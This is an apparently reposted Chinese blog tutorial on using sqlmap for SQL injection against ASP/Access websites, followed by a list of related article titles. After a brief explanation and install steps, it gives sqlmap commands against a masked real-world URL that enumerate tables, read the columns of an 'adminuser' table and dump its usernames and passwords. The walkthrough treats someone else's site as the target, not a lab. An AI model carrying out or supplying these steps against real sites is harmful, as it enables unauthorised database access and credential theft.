sqlmap注入Access实例
来源:互联网 发布:南京证券下载软件 编辑:程序博客网 时间:2024/05/21 10:48
FROM:暗组
最近学习SQL注入攻击,首先从Access+ASP开始,以前没有发现Linux下有什么针对Access的注入工具,后来才知道原来
SQLMap可以
什么是SQL注入攻击?
SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员
也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合
法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的
数据,这就是所谓的SQL Injection,即SQL注入。
什么是SQLMap?
SqlMap是一个开放源码的渗透测试工具,它可以自动探测和利用SQL注入漏洞和接管数据库服务器的过程。它通过了一个强
大的检测引擎,最终渗透测试和广泛的从数据库中的指纹持久的开关,对从数据库中提取数据,访问底层的文件系统和操作
系统执行命令的许多利基功能带外连接。
项目网站:http://sqlmap.sourceforge.net/
支持的数据库:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase and SAP MaxDB
看到了吧,几乎囊括了市面上所有的数据库
下载:http://downloads.sourceforge.net/sqlmap/sqlmap-0.9.tar.gz 最新版本 0.9
安装
sqlmap使用Python编写,解压之后直接使用
tar zxvf sqlmap-0.9.tar.gz
cd sqlmap-0.9/
运行
python sqlmap.py
or
chmod +x sqlmap.py
./sqlmap.py
帮助
python sqlmap.py -h
选项比较多
看不下去的童鞋可以先移步这里http://hi.baidu.com/p3rlish/blog ... 6297c736d3cace.html
网上几乎就只能看到帮助、说明的之类的,实例太少了,希望大家都踊跃发言,一起研究。
针对Access数据库一般就只能爆表,爆数据了(为避免不必要的麻烦,URL用www.xxx.com代替,你懂的)
./sqlmap.py -u "http://www.xxx.com.cn/shownews.asp?id=67" --table -u "你要注入的URL" --table 爆表
中间会出来一个让你输入线程的问号 你输入一个数字 5 ==都可以
它就会开始跑表了
跑出来这么几个表,聪明的童鞋一看就知道那个表会有我们想要的东西
6 天前 上传
下载附件(3.08 KB)下面开始爆指定表的列名,这里爆adminuser
./sqlmap.py -u "http://www.xxx.com.cn/shownews.asp?id=67" --columns -T amdinuser
已经出来了,你可以使用Ctrl+C停止,也可以耐心的再等等
爆数据吧
./sqlmap.py -u "http://www.xxx.com.cn/shownews.asp?id=67" --dump -T adminuser -C username,password
一会儿结果就出了
文章写的仓促,大家凑合着看吧,欢迎拍砖!
- sqlmap注入Access实例
- 使用sqlmap 代替access 注入中转
- sqlmap之(三)----Access注入实战
- dver实例sqlmap进行mysql注入root权限读写文件
- sqlmap注入语句整理
- sqlmap注入语句整理
- Sqlmap的POST注入
- Sqlmap注入技巧收集
- sqlmap---post----注入
- sqlmap注入技巧
- sqlmap实现注入操作
- sqlmap注入命令
- sqlmap的POST注入
- sqlmap post注入
- SQLMAP注入神器笔记
- SQLMAP- 自动注入
- sqlmap的注入方式
- sqlmap注入用法
- PE信息获取工具
- 为Android应用增加渠道信息 自动化不同渠道的打包过程
- ubuntu 11.10 下XTerm的配置(可显示和输入中文)
- RTX服务器坏了,换服务器,原腾讯通数据恢复的问题
- iOS开发网络资源
- sqlmap注入Access实例
- 改变自己的九条建议
- Java容器类Collection、List、ArrayList、Vector及map、HashTable、HashMap区别
- 我在网站开发过程中,seo方面的一些心得
- C#数据集应用大全
- CxImage动态加载图片(判断图片文件类型)
- XXX
- 代理应用好文两篇(1)
- Unbutu下Apache、Mod_Jk、Tomcat的负载均衡及集群搭建(一)